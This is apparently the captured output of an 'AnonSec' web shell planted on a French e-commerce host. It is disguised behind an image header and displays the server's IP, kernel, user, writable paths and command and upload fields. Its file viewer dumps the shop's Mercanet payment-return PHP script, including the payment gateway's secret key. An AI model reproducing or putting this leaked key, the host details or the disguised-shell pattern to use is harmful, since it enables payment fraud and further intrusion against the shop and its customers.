ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/MERCANET/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/MERCANET/normal_return_url.php
<?php
    require_once('Mercanet.php');
	
	// Initialisation de la classe Mercanet avec passage en parametre de la cle secrete
    $paymentResponse = new Mercanet('wWKYUQ6YSA-yLUrTlSokEE8xoC6OkQNhRPI8Mo8-e1c');
	
	$paymentResponse->setResponse($_POST);

	if($paymentResponse->isValid() && $paymentResponse->isSuccessful()) 
	{
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
 
/* Retrouve la reference voir page Mercanet fonction et enleve les 0 inutiles avec += */
/**************************************************************************************/
$id_cde += $paymentResponse->laReff();

        // Traitement pour les paiements valides
		//echo "paiement reussi " . print_r($_POST, true);
		// ...

/**************************************************************/

include_once("../includes/config.php");

// Mise A jour du status de la commande
$status_cde = "1";
 
  $sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
    VALUES (:order, :date_status, :status)');

  $sql->execute(array('order' => $id_cde,
            'date_status' => date('Y-m-d H:i:s'),
            'status' =>  $status_cde));
 


//****************************************************************************************//
//************************************  css et infos  ************************************//
//****************************************************************************************//
 
   $thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
    $resulta = $thema->fetchAll();
	$fil = $resulta[0]['fil'] ;
	$tfil = $resulta[0]['tfil'] ;
	$shop_email_rappel = $resulta[0]['email_rappel'];
	$shop_title = $resulta[0]['title'];

  $sql = $bdd->query('SELECT title, url, email_contact FROM info
    WHERE id = 1');
  $infos = $sql->fetch();

  $sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
    WHERE id = :order');
  $sql->execute(array('order' => $id_cde));
  $order = $sql->fetch();

	$sql = $GLOBALS['bdd']->query("SELECT Image_Logo FROM themes WHERE cle >0");
	$list= $sql->fetchAll();
    for($i=0; $i<count($list); $i++) {
    $Image_Logo = $list[$i]['Image_Logo'];
    }
//****************************************************************************************//
//************************************  email client  ************************************//
//****************************************************************************************//
 
	$msg ='
	<html lang="fr">
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		</head>
		<body>';
    $msg .='<img src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" style="margin:10px; max-width:300px">';

		
          	$msg .='
			<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
				<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
			</div>
			<br />';

  $msg .= 'Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $id_cde . ') a &eacute;t&eacute; mise &agrave; jour le ' . strftime("%d/%m/%Y &agrave; %Hh%M", time()) . '. <br /><br />Son nouveau statut est d&eacute;ormais : <b>Commande r&eacute;gl&eacute;e</b>';
  $msg .= '.<br />Vous pouvez suivre votre commande en cliquant ici :  <a href="'.$wwwroot.'suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
 
  $msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';

  // Envoi message au client.
  require('../includes/phpmailer/class.phpmailer.php');
  $mail = new PHPMailer();
  $mail->IsMail();
  $mail->AddReplyTo($shop_email_rappel, $shop_title);
  $mail->AddAddress($order['email']);
  $mail->SetFrom($shop_email_rappel, $shop_title);
  $mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
  $mail->MsgHTML($msg);
  $mail->Send();
 
//////////////////////////////////////////////////


echo '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Paiement accept&eacute;</title>
<link href="../templates/shop/css/global_end_3colonnes.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="container">
	<div style="text-align:center" >
		<img class="" src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" alt="Logo"/>
	</div>
	<div>';
?>
<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande N.<?php echo$id_cde ?> pay&eacute;e !</span></font></h1>
<center><b><h2>Votre transaction est accept&eacute;e par votre banque !</h2> 
<p style="font-size: 18px">Un e-mail vous a &eacute;t&eacute; envoy&eacute; !
</p>
<br />
<br />
<div class="btnn" style="text-align:center;">
<a style="text-decoration: none;font-size:18px" href="../index.php">Retour &agrave; la boutique</a>
</div>

<br />
<br />
<?php
// --------------------------------------------------------------------------------------
echo '</div>
</div>
</body>
</html> 
';

// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------





















    }

    else 
	{
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
 
/* Retrouve la reference voir page Mercanet fonction et enleve les 0 inutiles avec += */
/**************************************************************************************/
$id_cde += $paymentResponse->laReff();




        // Traitement pour les paiements en echec
        //echo "paiement en echec " . print_r($_POST, true);
		// ...

/**************************************************************/

include_once("../includes/config.php");

// Mise A jour du status de la commande
$status_cde = "0";

 
  $sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
    VALUES (:order, :date_status, :status)');

  $sql->execute(array('order' => $id_cde,
            'date_status' => date('Y-m-d H:i:s'),
            'status' =>  $status_cde));
 


//****************************************************************************************//
//************************************  css et infos  ************************************//
//****************************************************************************************//
 
   $thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
    $resulta = $thema->fetchAll();
	$fil = $resulta[0]['fil'] ;
	$tfil = $resulta[0]['tfil'] ;
	$shop_email_rappel = $resulta[0]['email_rappel'];
	$shop_title = $resulta[0]['title'];

  $sql = $bdd->query('SELECT title, url, email_contact FROM info
    WHERE id = 1');
  $infos = $sql->fetch();

  $sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
    WHERE id = :order');
  $sql->execute(array('order' => $id_cde));
  $order = $sql->fetch();

	$sql = $GLOBALS['bdd']->query("SELECT Image_Logo FROM themes WHERE cle >0");
	$list= $sql->fetchAll();
    for($i=0; $i<count($list); $i++) {
    $Image_Logo = $list[$i]['Image_Logo'];
    }
//****************************************************************************************//
//************************************  email client  ************************************//
//****************************************************************************************//
 
	$msg ='
	<html lang="fr">
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		</head>
		<body>';
    $msg .='<img src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" style="margin:10px; max-width:300px">';

		
          	$msg .='
			<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
				<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
			</div>
			<br />';

  $msg .= 'Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $id_cde . ') a &eacute;t&eacute; mise &agrave; jour le ' . strftime("%d/%m/%Y &agrave; %Hh%M", time()) . '. <br /><br />Son nouveau statut est d&eacute;ormais : <b>En attente de paiement</b>';
  $msg .= '.<br />Vous pouvez suivre votre commande en cliquant ici :  <a href="'.$wwwroot.'suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
  $msg .= '<br /><br /><b>Pour payer votre commande, vous devez contacter notre Administrateur.</b>';
  $msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';

  // Envoi message au client.
  require('../includes/phpmailer/class.phpmailer.php');
  $mail = new PHPMailer();
  $mail->IsMail();
  $mail->AddReplyTo($shop_email_rappel, $shop_title);
  $mail->AddAddress($order['email']);
  $mail->SetFrom($shop_email_rappel, $shop_title);
  $mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
  $mail->MsgHTML($msg);
  $mail->Send();
 
//////////////////////////////////////////////////


echo '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Annulation paiement</title>
<link href="../templates/shop/css/global_end_3colonnes.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="container">
	<div style="text-align:center" >
		<img class="" src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" alt="Logo"/>
	</div>
	<div>';
?>
<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande N.<?php echo$id_cde ?> en attente de paiement !</span></font></h1>
<center><b><h2>Votre transaction a &eacute;t&eacute; refus&eacute;e ou interrompue !</h2> 
<p style="font-size: 18px">Un e-mail vous a &eacute;t&eacute; envoy&eacute; !
<br />Pour payer votre commande vous devez contacter notre Administrateur. 
</p>
<br />
<br />
<div class="btnn" style="text-align:center;">
<a style="text-decoration: none;font-size:18px" href="../index.php">Retour &agrave; la boutique</a>
</div>

<br />
<br />
<?php
// --------------------------------------------------------------------------------------
echo '</div>
</div>
</body>
</html> 
';

// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------

    }
?>

Anon7 - 2022
AnonSec Team